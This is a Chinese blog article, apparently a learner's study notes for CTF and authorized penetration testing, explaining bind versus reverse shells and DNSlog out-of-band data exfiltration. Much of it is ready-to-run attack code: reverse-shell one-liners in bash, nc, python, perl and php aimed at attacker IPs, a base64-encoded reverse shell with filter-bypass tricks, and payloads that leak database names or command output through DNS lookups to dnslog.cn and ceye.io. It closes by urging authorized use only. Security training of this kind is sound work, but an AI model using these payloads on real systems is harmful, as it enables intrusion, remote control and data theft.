news 2026/9/15 14:40:23

反弹shell与DNSlog带外查询:从正反向连接到无回显数据带出全解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
反弹shell与DNSlog带外查询:从正反向连接到无回显数据带出全解析

开门见山说个现象:不管你是打CTF还是做授权渗透测试,反弹shell这一关基本绕不过去,而一说到反弹shell,就躲不开正反向连接的区别、各种语言构造姿势,以及在没有回显时怎么用DNSlog带外查询把数据偷出来。Day5这部分内容学完,我最大的感受是:这四件事其实是一条线——先想明白目标环境能不能连我们,再决定用正向还是反向,拿到执行权限后如果输出被截断,就靠DNSlog建立一条隐蔽的带外通道。这篇文章就把我整理的笔记展开讲透,适合刚接触Web安全、喜欢在CTF靶场练手的朋友,也适合做等保和红队评估的兄弟当作复习材料。

1. 为什么要分清正反向连接:先弄懂谁找谁

很多初学者卡在反弹shell这个概念上,其实是没理解网络连接的方向。常规我们访问网站,是浏览器主动向服务器的80或443端口发起连接,这是“客户端找服务端”。但到了获得shell这个场景,方向往往会反过来,背后的核心原因是目标主机处在复杂网络环境里,我们很难直接连进去。

1.1 正向连接(bind shell)的工作逻辑

正向连接是最符合直觉的方式:受害机上开启一个监听端口,攻击机主动去连这个端口,连上之后就能拿到一个交互式shell,所以也叫bind shell。

# 受害机执行,监听本地4444端口 nc -lvnp 4444 -e /bin/bash
# 攻击机执行,主动连接受害机IP nc 192.168.1.10 4444

这种方式有个比较苛刻的前提:受害机必须有一个公网IP,或者攻击机能直接访问到受害机的监听端口。现实里受害者躲在NAT后面,或者云主机有安全组策略限制入站流量,这个监听端口根本不会被外面访问到。所以真实场景里正向连接越来越少见,只适合内网横向、双方网络互通明确的情况。

1.2 反向连接(reverse shell)解决什么问题

反向连接的思路反过来:攻击机先在自己机器上开一个监听端口,然后想办法让受害机主动往这个端口发起连接,连接建立后shell的输入输出都通过这条通道传输。这就是反弹shell的核心含义——“反弹”指目标反过来连我们。

# 攻击机先监听本地4444端口 nc -lvnp 4444
# 受害机执行反弹命令 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

反向连接的好处很明显:受害机只需要能访问外网(通常都能访问),不需要开放任何入站端口,就能把shell“弹”到我们的监听端口上。这非常契合现实环境,因为大多数网络出口方向是放通的,出站连接比入站连接容易得多。CTF靶场里几乎所有涉及getshell的题目,默认都是用反弹shell。

1.3 攻击场景下的选型逻辑

总结一下我的选型经验,直接给结论:

场景正向连接反向连接
目标有公网IP且无防火墙入站限制可用可用
目标在NAT后,攻击机能直达可用更推荐
目标出站流量宽松,入站受限基本不可用强烈推荐
没有交互式shell,只有命令执行不可用推荐并配合编码

实际渗透测试里,遇到漏洞点后我会先判断出站规则,如果确认目标能往外连,就无脑选择反弹shell。只有在内网横向、多级跳板的情况下,我才会考虑正向连接,因为正向连接的流量特征相对更接近正常业务。不能只会一种姿势,两个方向都得熟练,不然遇到限制就只能干瞪眼。

2. 反弹shell构造的核心手法与参数拆解

反弹shell的构造方式可以说是百花齐放,但底层逻辑都差不多:利用bash等解释器的网络重定向能力,或者用一门语言去建立socket连接,然后把标准输入、输出、错误都dup到socket上去。下面逐个拆解我常用的手法。

2.1 bash一句话反弹的底层逻辑

最经典的bash反弹命令长这样:

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

很多教程只让你背命令,没说里面每个符号在干嘛。我拆开讲:

  • bash -i:启动一个交互式的bash,交互模式才会有提示符,方便我们输命令。
  • >&:把标准输出和标准错误都重定向到后面指定的位置。
  • /dev/tcp/10.0.0.1/4444:这是bash的一个特性,它把tcp连接抽象成了文件路径,只要bash支持/dev/tcp,访问这个路径就等于建立一个到10.0.0.1:4444的TCP连接。
  • 0>&1:把标准输入重定向到标准输出所在的socket上,这样我们敲的命令才能从socket读进来。

连起来理解就是:bash把它的输入输出都接到了我们监听的4444端口上,我们看到的就是一个完整的交互式shell。实测下来,bash反弹在绝大多数Linux主机上都好使,唯一要注意的是有些精简容器镜像里的默认shell不是bash,或者/dev/tcp被禁用,这时候就得换别的姿势。

2.2 nc、python、perl等常见替代方案

如果目标机器没有bash或者/dev/tcp不可用,我一般按这个顺序换方案。

nc反弹

nc -e /bin/sh 10.0.0.1 4444

-e参数表示连接建立后执行指定程序。这个命令虽然简单,但有两个坑:一是传统nc和openbsd nc的行为不一样,有些版本不支持-e;二是Windows下的nc用法也不同,而且要小心被杀软拦。如果不支持-e,可以用命名管道的组合拳:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f

python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

这串代码是教科书级的思路:先建socket连接,再用dup2把标准输入、标准输出、标准错误都复制到socket的文件描述符上,最后启动一个交互式shell。dup2这个设计在反弹shell里非常关键,理解了它,你看到任何语言的反弹代码都能一眼看懂。如果目标环境是Python3,写法稍微变一下,把subprocess.call参数改成["/bin/sh","-i"]基本通用。

perl、ruby、php等

perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

这些语言反弹的代码看着长,但核心没变:建立socket、重定向标准输入输出、启动shell。初学阶段不需要每种都背,但至少要把bash、nc、python三种练熟,实际漏洞利用时目标环境是什么语言栈就选什么姿势,会快很多。

2.3 编码绕过和常见坑位

反弹命令经常要经过Web传参、命令注入点执行,这时特殊字符很容易被过滤。比如我们通过一个URL参数传递命令,空格、分号、尖括号都可能被WAF或者代码逻辑拦掉。我常用的绕过思路有这几类:

  • $IFS代替空格:bash$IFS-d>c...这类写法可以骗过简单的空格过滤。
  • base64编码整条命令:把反弹命令base64一下,目标机器上解码再执行,可以绕过很多关键字过滤。
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=" | base64 -d | bash
  • 使用/bin/bash-c参数配合printf拼接:如果分号被过滤,可以拆成多段再拼接,但复杂度会上去,新手先掌握base64就够用很长时间。

踩坑记录:我最早练习时总把攻击机的监听写错IP,本机监听必须写0.0.0.0而不是127.0.0.1,另外防火墙也会静默丢弃入站连接,所以监听前先确认端口能被外部访问。还有一个隐蔽的坑:在容器里用python反弹时,如果Python环境是精简版缺少socket模块,会直接报错,这时候检查一下python版本和可用模块。

3. DNSlog带外查询:没回显时的数据传输思路

反弹shell算是有去有回,目标环境允许TCP出站就可以。但有些情况下我们连命令执行都没有回显,就像对着山谷喊话却没有回声,这时候就要用到DNSlog带外查询。这也是Day5笔记里我觉得最惊喜的部分,思路很巧妙。

3.1 为什么需要带外通道

带外查询,英文叫Out-of-Band,缩写OOB。常规注入或者命令执行,我们直接把结果输出在页面上,这叫带内传输。但很多实战场景里结果根本出不来:页面没有任何显示、数据库报错被吞掉、命令执行后输出被重定向到黑洞。这时候我们就可以让目标环境去访问一个我们能控制的域名,把数据夹带在DNS解析请求里发出来。

DNSlog的核心思路就一句话:让目标把数据放到一个我们可控域名的子域里,然后通过DNS解析记录把数据带出来。

3.2 DNSlog的工作原理拆解

理解了DNS解析流程,你就能理解为什么DNSlog能通。

当目标机器执行了一条命令,比如pingwhoami.xxx.dnslog.cn,系统会尝试解析whoami的结果加上xxx.dnslog.cn这个完整域名。本地DNS缓存没有就直接递归查询,最终这个查询请求会打到dnslog.cn的权威DNS服务器上。我们登录dnslog平台后台,就能看到这条解析记录的完整域名,里面就包含了命令执行的结果。

这里有一个关键点:DNS解析请求本身是正常网络行为,绝大多数防火墙和WAF不会拦DNS查询。所以DNSlog通道非常隐蔽,这也是它成为无回显漏洞利用首选的原因。

我用得比较多的是dnslog.cn和ceye.io,两者注册使用都简单,dnslog.cn实时性好,ceye.io功能更多。用法上就是先分配一个二级域名,然后通过各种方式触发目标发起DNS解析请求。

3.3 实际使用流程:从无回显SQL注入到命令执行

先看无回显SQL注入怎么用DNSlog。假设某个SQL注入点页面永远没输出,但我们判断数据库能执行函数。MySQL环境下可以这样:

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.xxx.dnslog.cn\\abc'));

load_file是读取文件的函数,传入的参数如果是一个UNC路径,MySQL就会尝试访问这个网络路径,从而触发一次DNS解析。我们在dnslog后台看到类似testdb.xxx.dnslog.cn的解析记录,就能确认注入存在并且拿到数据库名。

再看命令执行场景。假设我们有一个命令注入点,但结果不回显:

curl http://`whoami`.xxx.dnslog.cn
ping `whoami`.xxx.dnslog.cn

反引号里的whoami会先执行,执行结果替换进去成为域名的一部分,最终发起的DNS解析请求域名就是root.xxx.dnslog.cn这样的格式,后台一看就知道当前用户是谁。虽然一次只能带一小段数据,但用来确认漏洞存在、拿到关键标识信息,效率非常高。

注意:DNSlog一次查询能携带的信息有限,而且域名有长度限制,只能是字母、数字和连字符。数据里如果包含特殊字符,要提前做编码处理,比如base64编码后再拼进域名,拿到结果再解码。

4. 一套完整的CTF靶场串联实战

光看概念容易飘,我建议你直接找个CTF靶场把整条链路跑通。下面这个例子是我在本地搭的一个模拟小场景,完整覆盖“无回显注入识别—DNSlog取数—反弹shell拿权限”三个步骤。

4.1 靶场环境准备

本地环境我用的是这样一套组合:

  • 攻击机:Kali Linux,IP假设为192.168.1.100
  • 受害者:一个Ubuntu容器,跑着一个简易PHP应用,存在一个命令注入点,输出被代码逻辑屏蔽
  • DNSlog:直接用dnslog.cn分配的域名

这个练习的关键是模拟真实线上环境:页面没有回显,不能直接看到命令结果。我特意把PHP代码里执行命令后的echo去掉,就留一个system($cmd)的调用,这样初学者能直观感受到“命令执行了但看不到结果”的困境。

4.2 完整链路:注入探测到反弹Shell

第一步,先在页面上测试命令注入点是否存在。输入id没有输出,输入sleep 3发现页面响应慢了3秒,这说明命令确实被执行了,属于典型的无回显命令注入。

第二步,用DNSlog确认漏洞并获取基础信息:

curl http://`hostname`.xxxx.ceye.io

dnslog后台很快就能看到解析记录,里面是目标主机名,漏洞确认无误。

第三步,构造反弹shell。这一步要把反弹命令编码,防止特殊字符破坏命令注入点的结构:

echo "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" | base64

得到base64字符串之后,在注入点执行:

echo <base64字符串> | base64 -d | bash

攻击机这边提前开好监听:

nc -lvnp 4444

如果一切正常,监听窗口会弹出一个shell。我实测时比较常见的失败原因有两个:一是容器镜像里没有bash,只装了sh,命令执行报错,换成/bin/sh -i就解决;二是容器网络出站受限,需要调整docker网络配置。靶场里折腾一次,比看十遍教程都有用。

4.3 这个场景带给我们的启发

这个链路的精妙之处在于它把所有知识点串起来了:DNSlog解决“看不见”的问题,反弹shell解决“够不着”的问题。真实授权测试时,思路完全一样——先建立一条稳定可靠的带外通道,确认漏洞存在和基本环境信息,再根据环境选择反弹姿势,拿到交互式shell后展开后续的内网工作。

我建议练习时给自己设定严格条件,比如“不允许使用带内输出”“脚本必须做到编码绕过”,这样在真正遇到难搞的目标时,心态和技术都稳得住。

5. 常见问题与排查技巧实录

这一节是我踩坑最多的地方,很多问题看起来玄学,其实原因就那么几个。整理成速查表,省得大家再走弯路。

5.1 反弹shell连不上的排查思路

  • 监听地址写错:攻击机上必须监听0.0.0.0或内网对应IP,监听127.0.0.1只能本机连自己,我最早就在这里翻车。
  • 防火墙拦截:Kali自带防火墙或者云主机安全组都可能静默丢弃入站连接。先把防火墙临时关掉或者放行对应端口,再测试反弹。
  • 出站方向不通:受害机可能根本访问不了攻击机的端口,需要用带外方式来验证目标出站能力。
  • 命令格式错误bash -i >& /dev/tcp/ip/port 0>&1这段在sh环境下会报错,sh不认/dev/tcp,这时候换python或者其他语言的反弹方式。
  • 监听窗口无反应但进程正常:检查是不是攻击机的nc版本太老,老版本nc不支持-e,但作为监听方一般没问题。如果是Windows环境下的反弹,命令要换用powershell版本。

排查顺序我建议是:先确认监听起来了且地址正确,再从受害机反向测试能否到达攻击机IP的端口,最后再逐字检查命令里的重定向符号。

5.2 DNSlog收不到数据的排查要点

DNSlog收不到记录是最让我头大的问题,反复试错之后总结出了这几点:

  • 平台域名没配对:很多平台分配的域名带有随机子域,拼接时少了一个点,解析就会失败。
  • 命令执行不成功:很多注入点是单引号闭合,嵌套执行命令时引号转义出了问题,可以先在本地环境验证一遍命令本身能否正常执行。
  • 请求被缓存:同一个域名在目标机器上解析过一次后会有缓存,第二次使用要换一个随机前缀。
  • 防火墙拦截DNS请求:虽然少见,但有些内网环境锁死了DNS出站,只能换HTTP通道或其他带外方案。
  • 数据包含非法字符:DNS域名里如果出现下划线、空格等字符,解析会失败,必须编码后再拼接。

我一般会在命令里加入一个随机后缀,比如curl http://xxxx.乱数.平台域名,这样能避免缓存干扰,也能区分多次尝试之间的请求。

5.3 学习建议:怎么练才算真正掌握

练反弹shell和DNSlog没有捷径,但有一个高效方法:在本地起几台不同系统的虚拟机或者容器,把每种反弹方式都真的弹一遍,再人为制造“无回显”“出站受限”等故障,逼自己换姿势解决问题。CTF靶场是很好的训练场,DVWA、sqli-labs、upload-labs这些都是老牌练习环境,配套的Writeup很多,适合入门对照。

我的个人体会是,Day5这块内容的门槛不在于背命令,而在于建立一种“通道思维”——当你拿到一个执行点但看不见输出时,第一反应不是放弃,而是想“我怎么让目标把数据通过一条合法流量发出来”。DNSlog、反弹shell、各种隧道工具,本质都是通道思维的延伸。把这个思维焊在脑子里,后面学代理、学隧道转发都会顺很多。

另外强调一次:这些技术一定要在授权的靶场、自己的实验环境或者合法合规的渗透测试项目里使用,千万别手痒拿真实目标乱试,惹上麻烦不值当。学技术的人首先要把行为边界搞清楚,这比学会一万个姿势都重要。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/15 14:38:59

House of Spirit

gegenzgenzeggenzegePWN堆house of spirit-1 | iyheart的博客 跟着这个师傅学的堆这块知识 在buuctf中有这道题目&#xff1a;lctf2016_pwn200 正所谓回头看轻舟已过万重山&#xff0c;花了好长时间理解这道题&#xff0c;不是这个手法多难&#xff0c;恰恰暴露了我在栈帧那…

作者头像 李华
网站建设 2026/9/15 14:36:55

精讲五大排序算法:冒泡、选择、插入、希尔与快排的原理与实战

作为一个常年跟数据结构和算法打交道的开发者&#xff0c;我越来越觉得排序算法不只是一堆需要背下来的代码模板&#xff0c;它背后是一整套关于"怎么高效地整理数据"的思考方式。很多人学排序时容易陷入一种误区&#xff1a;看视频觉得懂了&#xff0c;合上书全忘了…

作者头像 李华